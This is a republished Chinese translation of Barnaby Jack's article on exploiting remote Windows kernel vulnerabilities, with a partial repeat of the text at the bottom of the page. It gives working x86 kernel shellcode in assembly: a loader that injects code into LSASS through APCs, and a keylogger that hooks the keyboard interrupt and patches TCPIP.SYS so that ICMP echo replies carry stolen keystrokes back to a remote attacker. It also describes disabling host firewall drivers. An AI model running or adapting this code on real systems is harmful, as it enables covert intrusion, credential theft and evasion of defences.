| 導購 | 订阅 | 在线投稿
分享
 
 
 

Windows遠程內核漏洞注入

來源:互聯網網民  2006-04-18 05:20:33  評論

Windows 遠程內核漏洞注入

作者:Barnaby Jack

譯:北極星2003

EMAIL:zhangjingsheng_nbu@yahoo.com.cn

說明:只翻譯原資料的所有技術相關部分, 忽略了一小部分冗余信息。

-----------------------------------------------------------------------------------------------------

核心區域與用戶區域

I386體系支持4種訪問權限,也就是通常所說的特權級別。Windows NT 使用了其中的兩個權限,使得NT操作系統可以在不完全支持這四種特權級別的體系中運行。

用戶區域代碼例如應用程序和系統服務運行在3級,用戶模式的進程只能訪問分配給他們的20億字節的內存,並且用戶代碼是可以被分頁和上下文切換的。

核心級代碼運行在0級,硬件抽象層、設備驅動程序、IO、內存管理和圖形接口都是運行在0級。在0級執行的代碼,運行時擁有系統的所有權限,可以訪問所有內存且能使用特權指令。

Native API

由于設計,用戶模式進程不能任意切換權限登記,這個功能會牽涉到整體Windows NT的安全模型。當然,這個安全模型是由多時段所構成的。

有時候用戶態的作業沒有核心級函數功能無法完成,這就是引入Native API的原由。Native API是未被文檔化的內部函數集,運行在內核模式。Native API之所以存在,就是爲了提供一些能夠在用戶模式下安全地調用內核模式服務的途徑。

一個用戶應用程序可以調用由NTDLL.DLL導出的Native API。NTDLL.DLL導出大量函數用于封裝相應的內核函數。如果你反彙編其中一個函數,你會發現結果與下面相似:

Windows 2000:

mov eax, 0x0000002f

lea edx, [esp+04]

int 0x2e

每個由NTDLL導出的Native API都可以被反編譯成能夠把執行環境切換到內核模式的代碼段(stub).首先寄存器載入一個指向系統服務表的索引值,隨後在NTOSKRNL對應偏移位置訪問所需要的函數。

Windows XP:

mov eax, 0x0000002f

mov edx, 7ffe0300

call edx

At offset 0x7ffe0300:

mov edx, esp

sysenter

ret

如果你的配置是奔騰II或者更高,那麽在Windows XP中情況會有些不同。Windows XP是通過SYSENTER/SYSEXIT指令對來實現內核模式與用戶模式的切換,這給創建shell code增加了一些困難,稍後再詳細解釋。

爲了成功的創建內核模式的shell code,你必須忘記所有用戶級的API,且只使用內核級函數Native API。關于Native API的更多文檔資料可以參考Gary Nebbett的《The Windows NT/2000 Native API Referce》。

藍屏的本質

當你找到一個漏洞,當你把數據包發送到遠程系統時面臨著出現藍屏的問題。要想成功注入一個內核級漏洞,首先要理解“藍屏死機(Blue Screen Of Death)”的原理。

當你見到BSOD,這就意味著native函數KeBugCheckEx被調用,有兩種情況可以引發這種錯誤:

1、由內核異常調用

2、直接由錯誤檢測機制調用KeBugCheckEx

內核的異常鏈處理機制如下:

當一個異常産生時,內核通過IDT(中斷描述符表)的函數入口(KiTrapXX)取得控制權。這些函數組成了1級的的陷阱處理程序(Trap Handler),這個中斷處理體可能會獨自處理這個異常,也可能把該異常傳遞給下一個異常處理體,或者如果這個異常是無法處理的,那麽就直接調用KeBugCheckEx。

無論是哪種情況,爲了掌握産生異常的原因和地點,我們需要得到陷阱桢(Trap Frame)。陷阱桢是一個與CONTEXT相似的結構,利用這個結構,可以得到所有寄存器的狀態和指令寄存器所指向的産生異常的地址。我傾向于使用Compuware/Numega的SoftICE調試器來完成所有工作,但當調試陷阱桢時,WinDbg提供了更好的結構識別能力。如果只使用SoftICE,我必須手動定位先前的堆棧參數。

假如你的電腦設置了藍屏時的內存轉儲功能,那麽這個文件的默認存儲路徑爲%SystemRoot%/MEMORY.DMP。加載WinDbg並且選擇“打開崩潰轉儲(Open Crash Dump)”加載所保存的文件。下面是由陷阱處理程序直接調用KeBugCheckEx的例子。

在加載內存轉儲文件後,WinDbg顯示如下:

Windows遠程內核漏洞注入

Windows遠程內核漏洞注入

WinDbg顯示了KeBugCheckEx是由自陷程序KiTrapOE調用的以及而且陷阱桢的地址是0x8054199C .現在就用“trap address”命令來顯示陷阱桢的內容。

Windows遠程內核漏洞注入

現在我們可以看到異常抛出時所有寄存器的狀態,同時也能顯示一部分的內存區域。看到指令寄存器的值爲0x41414141,表明是在用戶區域。現在我們可以按照自己的意願任意改變執行流程。

這種情況下,數據是由ESP寄存器來定位的:

Windows遠程內核漏洞注入

現在我們就可以利用JMP ESP,CALL ESP, PUSH ESP/RET等偏移值替換0x41414141來實現執行流程重定向,可以采用任何標准溢出技術重現漏洞溢出。

如果KeBugCheckEx是由異常處理機制引發的,陷阱桢是作爲第三參數傳遞給KiDispatchException。在這種情況下,你需要將第三參數的地址傳遞給自陷命令。

當流程重定向偏移地址時,該偏移地址必須是個靜態的內存地址(也就是說,在內存中的地址的不變的)。

Shell Code示例

第一個Shell Code示例是“Kernel Loader”,允許插入到任何用戶區域代碼並且安全的執行,這對于執行遠程Shell code和任何用戶級Shell Code來說是很方便的。

第二個示例是pure kernel.這個例子建立一個用戶鍵盤中斷處理程序來捕獲所有的鍵盤輸入消息。然後利用shell code TCPIP.SYS ICMP處理程序,讓鍵盤緩沖區通過ICMP ECHO請求返回到遠程系統。這段代碼很小,利用了很少的API函數。爲了完全理解下面的示例,我拷貝了相應的源代碼。

The “Kernel Loader”

有很多技術可以把代碼從內核狀態轉換到用戶狀態並且執行,舉個例子,你可以改變正在執行的線程的EIP,讓它指向自己的代碼——如果采用這個技術,正在運行的進程就會自我銷毀。

可以使用NTOSKRNL中的RtlCreateUserThread和RtlCreateUserProcess函數,這些函數會創建SMSS.EXE(唯一一個沒有父進程的進程,由內核直接創建)。然而這裏有兩個問題:第一,他們不是導出函數;第二,是個更大的問題,他們是在NTOSKRNL的INIT區段中,這意味著在進程執行之前這兩個函數就已經執行。因而需要重新映射NTOSKRNL,以及初始化一些全局變量(_MmHighestUserAddress和_NtGlobalFlag), 當然還需要找到該函數的首地址。

另外一種可行的方法是在用戶域進程中創建遠程線程,並且直接執行該線程。Firew0rker在他的文章中談到過這些: http://www.phrack.org/phrack/62/p62-0x06_Kernel_Mode_Backdoors_for_Windows_NT.txt

不幸的是,這種方法也有缺陷。當執行用戶級代碼的時候,API函數CreateProcess可能會失敗,這是由于必須通知CSRSS子系統。需要重新獲取workaround並且在用戶級的Shell Code中建立一個新的CONTEXT結構。

爲了保持shell code盡量小,同時也爲了可以插入到任意用戶域代碼而無需改變(譯注:可移植性),上述的workaround並不是一個可行的選擇。因爲這種方法同樣利用NTDLL的導出函數,在windows 2000以外的系統中會引發一定的問題。Windows 2000使用Ox2e中斷來實現3級到0級的切換,無論在3級或是0級,都可以安全的執行。

然而,在Windows XP下問題就産生了,Windows XP是利用SYSENTER和SYSEXIT指令對來實現0級與3級之間的切換。如果在內核中直接調用NTDLL的導出函數,意味著藍屏即將來臨。爲了解決這個問題,用于在系統服務表中查詢NTOSKRNL函數的額外代碼是必須的.我決定采用異步過程調用(Asynchronous Procedure Calls)方式來執行用戶域Shell Code,這種方法只使用直接由NTOSKRNL導出的函數。

在一個處于“可報警等待狀態(Alertable Wait State)”的用戶線程中使用APC,必須立即執行該函數。處于“可報警等待狀態”的線程可能是由于調用了 SleepEx, WaitForSingleObjectEx, SignalObjectAndWait和MsgWaitForMultipleObjectsEx等函數把Alertableflag設置爲TRUE。這種方法需要的API調用數目是最少的,而且相對而言比較可靠。

我們將要使用的所有函數都是由NOOSKRNL導出的。第一步要做的就是手動取得NTOSKRNL的基地址,爲了完成這一步,我們使用被稱爲“mid-delta”的技術:先取得一個指向NTOSKRNL地址空間的指針,然後一直遞減直到指針指向可執行文件標志“MZ”爲止。要想得到一個指向NTOSKRNL地址空間的指針,我們可以先取得中斷描述符表(IDT)的第一項入口地址,因爲通常情況下這個地址是指向NTOSKRNL地址空間中的某一位置。

接下來的代碼是訪問在IDT中取得一個內存指針,然後通過遞減該指針來尋找基地址。

mov esi, dword ptr ds:[0ffdff038h] ; 取得IDT地址

lodsd

cdq

lodsd ; get pointer into NTOSKRNL

@base_loop:

dec eax

cmp dword ptr [eax], 00905a4dh ; 檢測“MZ”標志

jnz @base_loop

取得IDT基地址的一般方法是使用SIDT指令。由于IDT也是由0xFFDFF038地址的指針所指向的,我可以直接訪問IDT地址,這樣也可以減少一些字節數。也許你會注意到上面的代碼並沒有得到正確的IDT入口地址,我們只是取得入口地址的高字部分,這是因爲低字部分的區域範圍是在0—0xFFFF,忽略後仍舊在NTOSKRNL的內存地址空間裏。

hash_table:

dw 063dfh; "PsLookupProcessByProcessId" _pslookupprocessbyprocessid equ [ebx]

dw 0df10h; "KeDelayExecutionThread" _kedelayexecutionthread equ [ebx+4]

dw 0f807h; "ExAllocatePool" _exallocatepool equ [ebx+8]

dw 057d2h; "ZwYieldExecution" _keyieldexecution equ [ebx+12]

dw 07b23h; "KeInitializeApc" _keinitializeapc equ [ebx+16]

dw 09dd1h; "KeInsertQueueApc" _keinsertqueueapc equ [ebx+20]

hash_table_end:

接下來我們可以建立一張哈希表,每一個所需要的函數都在其中有一個字長的哈希表項。函數名字符串在Win32 Shell Code中往往會占據大量的空間,所以使用散列機制更加合理。每個函數的指針都存放在一個表項中,而且可以由Shell Code通過EBX寄存器來訪問。

接下來就執行標准的“GetProcAddress”,它會分析NTOSKRNL的導出表並且取得對應函數的入口地址。這裏的哈希表有點特別,只是對導出函數名的每一字節進行XOR/ROR運算。我使用字長哈希表而不是雙字長哈希表就是爲盡量縮減Shell Code的長度。

一旦取得所有將要使用的函數的入口地址,接下來的的任務就是分配一個新的內存塊用于存儲shell code。因爲代碼還駐留在堆棧上,必須把代碼拷貝到新的內存塊。否則接下來的內核函數會覆蓋掉大塊區域,尤其是當我們請求降低IRQL (Interrupt Request Level)時。

我們把NonPagedPool作爲參數傳遞給ExAllocatePool,然後把shell code拷貝到non-paged區域,再簡單的執行一個JMP指令來到這個內存區域。現在所有的代碼都可以安全的執行而不會再受到影響。

當注入驅動程序時,我們必須意識到當前的IRQL。IRQL是一個指定內核程序當前的硬件優先級,很多內核程序爲了能成功執行會請求IRQL的PASSIVE (0) 。如果運行在DISPATCH (2)級(用于程序調度和延遲過程調用) ,必須把IRQL下降到PASSIVE. 這只是一件簡單的事情,只需要調用HAL的導出函數KeLowerIrql並且把0(PASSIVE)做爲參數。

現在我們需要把用戶域代碼綁定到進程,就必須先得到EPROCESS結構的指針,每一個進程都有一個對應的EPROCESS結構。關于這篇文章所有結構的更多信息都可以在WinDbg中通過dump結構體取得(例如: dt NT!_EPROCESS)。我們將要使用的函數需要EPROCESS的偏移地址,如果可以得到指向所有EPROCESS結構的指針,那麽可以通過遍曆所有結構來得到當前的所有活動進程。

一般情況下,可以通過調用PsGetCurrentProcess來得到第一個EPROCESS結構。不幸的是,當注入一個遠程驅動程序的時候,我們可能注入到一個處于“等待”狀態的進程中,這個“等待”進程不會返回一個有效進程控制塊。我用PsLookupProcessByProcessId來替換,並且把“system”進程的PID作爲參數。在Windows XP中這個值爲4,而在Windows 2000中這個值爲8。

lea ebp, [edi-4]

push ebp

push 04

call dword ptr _pslookupprocessbyprocessid ;取得系統EPROCESS

mov eax, [ebp] ; 取得系統EPROCESS結構指針

取得了第一個EPROCESS結構,現在我們就可以訪問當前所有活動進程。雖然我選擇把代碼注入LSASS地址空間,但所有正在運行的系統進程都是合適的目標。爲了訪問LSASS,采用循環方式枚舉EPROCESS+ActiveProcessLinks所指向的每一個入口地址並且與LSASS模塊名相比較。

mov cl, EP_ActiveProcessLinks ; offset to ActiveProcessLinks

add eax, ecx ; get address of EPROCESS+ActiveProcessLinks

@eproc_loop:

mov eax, [eax] ; get next EPROCESS struct

mov cl, EP_ModuleName

cmp dword ptr [eax+ecx], "sasl" ; is it LSASS?

jnz @eproc_loop

一旦定位LSASS進程,就可以通過減去ActiveProcessLinks偏移值,從而得到LSASS與第一個EPROCESS結構的偏移值。

下一步就是把shell code拷貝到目標內存空間。起先我打算把代碼存放在PEB;以前,PEB總是被映射到0x7ffdf000,但在XP SP2中PEB的映射地址是隨機的。雖然可以通過0xFFDFF000->0x18->0x30找到PEB,但我們有更好的選擇:把代碼存放到內核-用戶-共享內存區域,通常被稱爲SharedUserData。0xFFDF0000處是一個可寫的內存區域,在那裏可以保存我們的代碼。這個內存區域是從用戶域被標記爲只讀的0x7FFE0000處映射而來的,這個映射在所有的平台上都一樣,所以這是個不錯的選擇。 由于在這個區域的內存對所有進程來來說都是可讀的,所以必要把地址空間切換到目標進程,可以直接從內核把代碼寫入到0xFFDF0000+0x800。當排隊一個用戶模式APC時,把0x7FFE0000+0x800作爲參數。

call @get_eip2

@get_eip2:

pop esi

mov cx, shell code-$+1

add esi, ecx ; Get shell code address

mov cx, (shell code_end-shell code) ; Shell code size

mov dword ptr [edi], SMEM_ADDR ; 0xFFDF0000+0x800

push edi

mov edi, [edi] ; Copy shell code to SharedUserData

rep movsb

pop edi

現在需要找到一個可以執行APC函數的線程。APC可以是內核模式APC或者用戶模式APC,這裏排隊一個用戶模式的APC。如果我們將要傳遞的線程沒有處于“可報警等待狀態”,那麽用戶模式APC將不會被調用。我前面已經簡要的提到,一個線程可以通過調用SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx and WaitForSingleObjectEx把bAlertable設置爲TRUE就可以進入該狀態。要找一個可用的線程需要訪問該進程的ETHREAD指針,並且遍曆每個線程直到找到我們所需要的線程爲止。

mov edx, [edi+16] ; Pointer to EPROCESS

mov ecx, [edx+ET_ThreadListHead] ; Get ETHREAD pointer

@find_delay:

mov ecx, [ecx] ; Get next thread

cmp byte ptr [ecx-ET_ThreadState], 04h ; Thread in DelayExecution?

jnz @find_delay

上面的代碼首先通過EPROCESS結構的ThreadListHead LIST_ENTRY取得LSASS ETHREAD結構的指針,然後檢測線程狀態標志。一旦找到目標線程,我們設置EBP指向KTREAD結構,接下來我們要初始APC程序。

xor edx, edx

push edx

push 01 ; push processor

push dword ptr [edi] ; push EIP of shell code (0x7ffe0000+0x800)

push edx ; push NULL

push offset KROUTINE ; push KERNEL routine

push edx ; push NULL

push ebp ; push KTHREAD

push esi ; push APC object

call dword ptr _keinitializeapc ; initialize APC

我們把用戶模式Shell Code(存儲在SharedUserData)的EIP作爲KeInitializeApc的參數,同時必須傳遞一個將會被調用的內核程序。我們不需要這個程序做任何事情,只需要把返回指令指向shell code就可以了,該線程的KTHREAD結構對于執行我們的APC程序也必要的,APC對象將以指針變量的形式由ESI寄存器返回。現在可以將我們的APC程序插入到目標線程的APC隊列。

push eax ; push 0

push dword ptr [edi+4] ; system arg

push dword ptr [edi+8] ; system arg

push esi ; APC object

call dword ptr _keinsertqueueapc

最後一個函數是KeInsertQueueApc用來發送APC。在上面的代碼中,EAX爲0,而且兩個系統參數也是指向空地址的指針,當然也傳遞了先前由KeInitializeApc返回的APC對象。

最後,爲了防止我們的剛初始化的負載線程返回並出現藍屏,把0X80000000:00000000傳遞給KeDelayExecutionThread,讓線程睡眠。

push offset LARGE_INT

push FALSE

push KernelMode

call dword ptr _kedelayexecutionthread

如果在偶然的情況下,我們進入了“Idle”地址空間,那麽這個調用就會失敗。解決這個問題的方法是放棄執行該線城,然後繼續循環.代碼片段如下:

@yield_loop:

call dword ptr _keyieldexecution

jmp @yield_loop

萬幸,用戶模式線程應該還在你所選擇的SYSTEM進程中安全的執行。如果完成APC函數後調用ExitThread來退出用戶代碼,那麽系統很可能還是穩定的。

The ICMP Patching Interrupt Hooking Key-Logger

當我和來自eEye的Derek Soeder閑聊的時候,我們討論了哪些是完全由內核級內代碼組成的有用的shell code。其中的一個想法是內核級key-logger,它可以返回鍵盤緩沖區到遠程線程。顯然,這是一個shell code,創建一個完整的鍵盤過濾器和通信管道可能會大大超出可以接受的代碼長度範圍,所以采取捷徑是必須的。

我們采用源于DOS時代的技術,把鍵盤中斷處理程序入口替換爲自己的代碼入口來捕獲掃描碼,而不是綁定鍵盤過濾器來捕獲鍵盤消息。我決定修改TCPIP.SYS驅動程序的ICMP處理體,而不是通過自己創建管道返回鍵盤消息到遠程用戶。補丁程序修改了ICMP ECHO處理體,用我們自己的鍵盤緩沖區來替換原來的緩沖區。發送一個ICMP ECHO請求到遠程系統將會返回所捕獲的按鍵情況。

第一步,把鍵盤處理體的IDT入口替換爲我們自己中斷處理體的入口。現在,Windows XP 和 2000 SP4有存儲在HAL內存區域的IRQ中斷向量表。我們可以很方便的搜索臨近的標志字節,並且查詢對應于IRQ1(鍵盤IRQ)的中斷向量。在早期的服務包中,例如Window 2000 SP0,這個表是不存在的,然而中斷向量表是靜止的,RQ1 = Vector 0x31, IRQ2 = Vector 0x32等等。下面的代碼首先嘗試定位向量表,如果定位失敗的話就會直接使用中斷向量0X31。

mov esi, dword ptr ds:[0ffdff038h] ; 取得IDT基地址

lodsd

cdq

lodsd ; 取得NTOSKRNL地址空間的指針

@base_loop:

dec eax

cmp dword ptr [eax], 00905a4dh ; 檢測 MZ 標志

jnz @base_loop

jecxz @hal_base ; 把 NTOSKRNL 基地址保存到EAX

xchg edx, eax

mov eax, [edx+590h] ; 取得一個 HAL 函數的指針

xor ecx, ecx

jmp @base_loop ; 尋找HAL的基地址

@hal_base:

mov edi, eax ; 把 HAL 的基地址保存到 EDI

mov ebp, edx ; 把 NTOSKRNL 基地址保存到 EBP

cld

mov eax, 41413d00h ; 標志字節"=AA\0"

xor ecx, ecx

dec cx

shr ecx, 4

repnz scasd ; 取得在IDT表中的偏移值

or ecx, ecx

jz @no_table

lea edi, [edi+01ch] ; 取得相量表的指針

push edi

inc eax ;IRQ 1

repnz scasb

pop esi

sub edi, esi

dec edi ; 取得鍵盤中斷

jmp @table_ok

@no_table:

mov edi, 031h ; 如果相量表不存在,使用靜態值

@table_ok:

push edx

sidt [esp-2] ;Get IDT

pop edx

lea esi, [edx+edi*8+4] ; IDT 中鍵盤處理體入口

std

lodsd

lodsw ; EAX 中爲鍵盤處理體入口地址

mov dword ptr [handler_old], eax ; 保存

首先定位NOSOKRNL和HAL.DLL的基地址,然後在HAL地址空間中搜索“=AA\0”標志,這個雙字標志標識著與中斷向量表相臨的TRQL-TPR轉換表的開始。如果找到該標識,我們直接把中斷向量設置爲0X31;如果沒有找到IRQ表,那麽所需要的偏移值在IRQ表的0XC1H處。接著我們定位對應于鍵盤IRQ1的向量,然後用SIDT指令得到IDT的基地址。得到中斷向量IDT入口的公式如下:

IDT_BASE+INT_Vector*8

從IDT中取得原始中斷處理體的地址,保存在我們處理程序的起始位置,因而當我們的處理程序完成特定功能後可以返回到原始處理程序。下面的代碼在IDT中用我們自定義的中斷處理體入口替換原始處理程序入口:

cld

mov eax, @handler_new

cli ; 當改寫入口地址的時候屏蔽中斷

mov [esi+2], ax ; 改寫用新的入口地址改寫IDT入口

shr eax, 16

mov [esi+8], ax

sti ; 恢複允許中斷信號

接下來就調用ExAllocatePool,分配一個緩沖區用于存儲已捕獲的鍵盤輸入;我們還需要通過分析NTOSKRNL的PsLoadedModuleList來定位TCPIP.SYS的基地址,不幸的是PsLoadedModuleList不是公共的導出函數,因而我們需要手動定位。

NTOSKRNL導出的MmGetSystemRoutineAddress函數就使用了這個鏈表。

Windows遠程內核漏洞注入

爲了取得所需要的指針,我們把MmGetSystemRoutineAddress的地址作爲參數並且通過遞增該地址來手動定位PsLoadedModuleList。

mov edi, _mmgetsystemroutineaddress

@mmgsra_scan:

inc edi

mov eax, [edi]

sub eax, ebp

test eax, 0FFE00003h

jnz @mmgsra_scan

mov ebx, [edi]

cmp ebx, [edi+5] ; 檢測 PsLoadedModuleList 的指針

je @pslml_loop

cmp ebx, [edi+6]

jne @mmgsra_scan

@pslml_loop: ; 找到 _PsLoadedModuleList

mov ebx, [ebx]

mov esi, [ebx+30h]

mov edx, 50435449h ; "ITCP", 判斷是否TCPIP.SYS 模塊?

push 4

pop ecx

@pslml_name_loop:

lodsw

ror edx, 8

sub al, dl

je @pslml_name_loop_cont

cmp al, 20h

@pslml_name_loop_cont:

loopz @pslml_name_loop

@pslml_loop_cont:

jnz @pslml_loop

mov edi, [ebx+18h] ;TCPIP.SYS 模塊基地址

上面的代碼首先遍曆MmGetSystemRoutineAddress程序來搜索該鏈表的指針。系統模塊鏈表結構如下:

+00h LIST_ENTRY

+08h ???

+18h LPVOID module base address

+1Ch LPVOID ptr to entry point function

+20h DWORD size of image in bytes

+24h UNICODE_STRING full path and file name of module

+2Ch UNICODE_STRING module file name only

...

接下來就是分析該鏈表來取得TCPIP.SYS模塊的基地址。

這些代碼比起網絡Shell Code更類似于軟件crack,原因就在于:我們將要修改TCPIP驅動程序,這就意味著我們可以接受來自遠程系統所捕獲的鍵盤輸入。有很多種方法,這裏通過修改ICMP ECHO處理程序使之作爲通信通道。

在TCPIP.SYS的SendEcho中我們將會使用shell code。由于完整的反彙編代碼太長,下面是相關部分的代碼片段:

Windows遠程內核漏洞注入

從上面的反彙編代碼來看,[edx+8]是指向ICMP ECHO緩沖區的指針,那麽通過修改上面的代碼把[edx+8]的指針改爲指向我們的鍵盤緩沖區,這只是一件很容易的事。

mov eax, 428be85dh ; TCPIP.SYS 地址空間中的字節序列

@find_patch:

inc edi

cmp dword ptr [edi], eax

jnz @find_patch

add edi, 5

mov al, 68h

stosb ; Store "push"

mov eax, edx ; EDX 指向鍵盤緩沖區

stosd ; 保存鍵盤緩沖區指針

mov eax, 08428f90h ; "pop [edx+08h] / nop"

stosd

用下面的代碼可以修改:

push keybuffer_offset

pop [edx+8]

nop

當ICMP ECHO請求被發送到遠程系統時,反饋的數據包會包括已捕獲的鍵盤輸入,替換中斷處理體是很容易的事--當有按鍵事件時我們的程序就會被調用,然後從鍵盤斷口讀取鍵盤掃描碼並保存到按鍵緩沖區。

@handler_new:

push 0deadbeefh ; 保存當前處理程序指針

handler_old equ $-4

pushfd

pushad

xor eax, eax

lea edi, keybuf ; 用所分配的緩沖區地址改寫

KB_PATCH equ $-4

in al, 60h ; 取得鍵盤掃描碼

test al, al ; 沒有掃描碼?

jz @done

push edi

mov ecx, [edi]

lea edi, [edi+ecx+4]

stosb ; Store code in buffer

inc ecx

pop edi

cmp cx, 1023

jnz @done

xor ecx, ecx

@done:

mov [edi], ecx

popad

popfd

db 0c3h ; 返回到原來的處理程序

一旦有按鍵消息産生,上面的代碼就會被調用,而初始的中斷處理程序句柄(已經被改寫)被壓入堆棧。從0x60斷口讀取當前的掃描碼並保存到所分配的緩沖區中。這個緩沖區可以保存0X3FF個鍵盤輸入,如果之後再有掃描碼就會覆蓋前面部分。

對注入放火牆驅動程序的思考

當在防火牆驅動程序中注入一個內核級漏洞時,將需要考慮很多問題。我們將要示範的漏洞是由處理DNS反饋信息過程引起的,DNS反饋信息是由SYMDNS.SYS處理的。如果DNS處理過程不能成功返回,那麽就不能用socket來通信。在研究這個問題之前,首先必須理解多種協議層的通信機制。

下面是網絡層的概要:

1).網絡驅動程序接口規範(Network Driver Interface Specification Layer)

NDIS 爲從物理設備到網絡傳輸提供一個通路

NDIS驅動程序直接與網絡適配器打交道。

2).網絡協議層(Network Protocol Layer)

此處爲 TCP/IP. (TCPIP.SYS)

3).傳輸層驅動接口(Transport Driver Interface Layer)

TDI爲網絡協議、客戶端協議、以及網絡API例如Winsock提供接口。

4).網絡應用程序接口(Network API Layer)

網絡應用程序接口例如Winsock,爲網絡應用程序提供編程接口。

所有基于主機的放火牆的限制策略都工作在內核模式,通常可以通過TDI過濾驅動程序或者 NDIS 挂鈎過濾驅動程序。雖然我沒有見過這一類的放火牆産品,但是挂鈎AFD接口也是可能的。

我們所面對的問題:SYMDNS.SYS必須返回到TDI過濾驅動程序SYMTDI.SYS,不幸的是一旦執行我們的shell code,通信就不會結束。這裏有一些的解決方案:

(a) “clean” 返回

Clean返回包括在沒有出現BSOD的情況下從shell code返回,有包括能繼續正常的通信,這個是很難實現的。經過攻擊後的堆棧不是處于最佳狀態,所以必須返回到原來堆棧桢的狀態

(b) 卸載 TDI 或者 NDIS 的過濾驅動

卸載過濾驅動是另外一個可行的方法。我們可以很方便的調用驅動程序的卸載程序,這就相當于從DriverEntry程序調用DriverObject->DriverUnload。這個驅動程序的偏移地址可以通過目標驅動程序的DRIVER_OBJECT獲得。

如果DriverUnload的成員DRIVER_OBJECT爲空,意味目標驅動程序的卸載程序不存在。DRIVER_OBJECT可以被DEVICE_OBJECT的成員所引用,可以通過把驅動程序名作爲參數傳遞給IoGetDeviceObjectPointer,取得指向DEVICE_OBJECT的指針。

(c) 分離或刪除驅動程序(Detach/delete the devices)

驅動可以通過調用 IoAttachDevice 或 IoAttachDeviceToDeviceStack 把自身的設備對象附加到其它設備,因而對原始設備的請求首先被傳遞到立即設備。我們可把DEVICE_OBJECT作爲參數傳遞給IoDetachDevice來分離驅動程序,有可以把DEVICE_OBJECT作爲參數傳遞給IoDeleteDevice來移除設備。

 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
Windows 遠程內核漏洞注入 作者:Barnaby Jack 譯:北極星2003 EMAIL:zhangjingsheng_nbu@yahoo.com.cn 說明:只翻譯原資料的所有技術相關部分, 忽略了一小部分冗余信息。 ----------------------------------------------------------------------------------------------------- 核心區域與用戶區域 I386體系支持4種訪問權限,也就是通常所說的特權級別。Windows NT 使用了其中的兩個權限,使得NT操作系統可以在不完全支持這四種特權級別的體系中運行。 用戶區域代碼例如應用程序和系統服務運行在3級,用戶模式的進程只能訪問分配給他們的20億字節的內存,並且用戶代碼是可以被分頁和上下文切換的。 核心級代碼運行在0級,硬件抽象層、設備驅動程序、IO、內存管理和圖形接口都是運行在0級。在0級執行的代碼,運行時擁有系統的所有權限,可以訪問所有內存且能使用特權指令。 Native API 由于設計,用戶模式進程不能任意切換權限登記,這個功能會牽涉到整體Windows NT的安全模型。當然,這個安全模型是由多時段所構成的。 有時候用戶態的作業沒有核心級函數功能無法完成,這就是引入Native API的原由。Native API是未被文檔化的內部函數集,運行在內核模式。Native API之所以存在,就是爲了提供一些能夠在用戶模式下安全地調用內核模式服務的途徑。 一個用戶應用程序可以調用由NTDLL.DLL導出的Native API。NTDLL.DLL導出大量函數用于封裝相應的內核函數。如果你反彙編其中一個函數,你會發現結果與下面相似: Windows 2000: mov eax, 0x0000002f lea edx, [esp+04] int 0x2e 每個由NTDLL導出的Native API都可以被反編譯成能夠把執行環境切換到內核模式的代碼段(stub).首先寄存器載入一個指向系統服務表的索引值,隨後在NTOSKRNL對應偏移位置訪問所需要的函數。 Windows XP: mov eax, 0x0000002f mov edx, 7ffe0300 call edx At offset 0x7ffe0300: mov edx, esp sysenter ret 如果你的配置是奔騰II或者更高,那麽在Windows XP中情況會有些不同。Windows XP是通過SYSENTER/SYSEXIT指令對來實現內核模式與用戶模式的切換,這給創建shell code增加了一些困難,稍後再詳細解釋。 爲了成功的創建內核模式的shell code,你必須忘記所有用戶級的API,且只使用內核級函數Native API。關于Native API的更多文檔資料可以參考Gary Nebbett的《The Windows NT/2000 Native API Referce》。 藍屏的本質 當你找到一個漏洞,當你把數據包發送到遠程系統時面臨著出現藍屏的問題。要想成功注入一個內核級漏洞,首先要理解“藍屏死機(Blue Screen Of Death)”的原理。 當你見到BSOD,這就意味著native函數KeBugCheckEx被調用,有兩種情況可以引發這種錯誤: 1、由內核異常調用 2、直接由錯誤檢測機制調用KeBugCheckEx 內核的異常鏈處理機制如下: 當一個異常産生時,內核通過IDT(中斷描述符表)的函數入口(KiTrapXX)取得控制權。這些函數組成了1級的的陷阱處理程序(Trap Handler),這個中斷處理體可能會獨自處理這個異常,也可能把該異常傳遞給下一個異常處理體,或者如果這個異常是無法處理的,那麽就直接調用KeBugCheckEx。 無論是哪種情況,爲了掌握産生異常的原因和地點,我們需要得到陷阱桢(Trap Frame)。陷阱桢是一個與CONTEXT相似的結構,利用這個結構,可以得到所有寄存器的狀態和指令寄存器所指向的産生異常的地址。我傾向于使用Compuware/Numega的SoftICE調試器來完成所有工作,但當調試陷阱桢時,WinDbg提供了更好的結構識別能力。如果只使用SoftICE,我必須手動定位先前的堆棧參數。 假如你的電腦設置了藍屏時的內存轉儲功能,那麽這個文件的默認存儲路徑爲%SystemRoot%/MEMORY.DMP。加載WinDbg並且選擇“打開崩潰轉儲(Open Crash Dump)”加載所保存的文件。下面是由陷阱處理程序直接調用KeBugCheckEx的例子。 在加載內存轉儲文件後,WinDbg顯示如下: [url=/bbs/detail_220858.html][img]http://www.pediy.com/bbshtml/bbs7/pediy7-780/image002.gif[/img][/url] [url=/bbs/detail_220858.html][img]http://www.pediy.com/bbshtml/bbs7/pediy7-780/image004.gif[/img][/url] WinDbg顯示了KeBugCheckEx是由自陷程序KiTrapOE調用的以及而且陷阱桢的地址是0x8054199C .現在就用“trap address”命令來顯示陷阱桢的內容。 [url=/bbs/detail_220858.html][img]http://www.pediy.com/bbshtml/bbs7/pediy7-780/image006.gif[/img][/url] 現在我們可以看到異常抛出時所有寄存器的狀態,同時也能顯示一部分的內存區域。看到指令寄存器的值爲0x41414141,表明是在用戶區域。現在我們可以按照自己的意願任意改變執行流程。 這種情況下,數據是由ESP寄存器來定位的: [url=/bbs/detail_220858.html][img]http://www.pediy.com/bbshtml/bbs7/pediy7-780/image008.gif[/img][/url] 現在我們就可以利用JMP ESP,CALL ESP, PUSH ESP/RET等偏移值替換0x41414141來實現執行流程重定向,可以采用任何標准溢出技術重現漏洞溢出。 如果KeBugCheckEx是由異常處理機制引發的,陷阱桢是作爲第三參數傳遞給KiDispatchException。在這種情況下,你需要將第三參數的地址傳遞給自陷命令。 當流程重定向偏移地址時,該偏移地址必須是個靜態的內存地址(也就是說,在內存中的地址的不變的)。 Shell Code示例 第一個Shell Code示例是“Kernel Loader”,允許插入到任何用戶區域代碼並且安全的執行,這對于執行遠程Shell code和任何用戶級Shell Code來說是很方便的。 第二個示例是pure 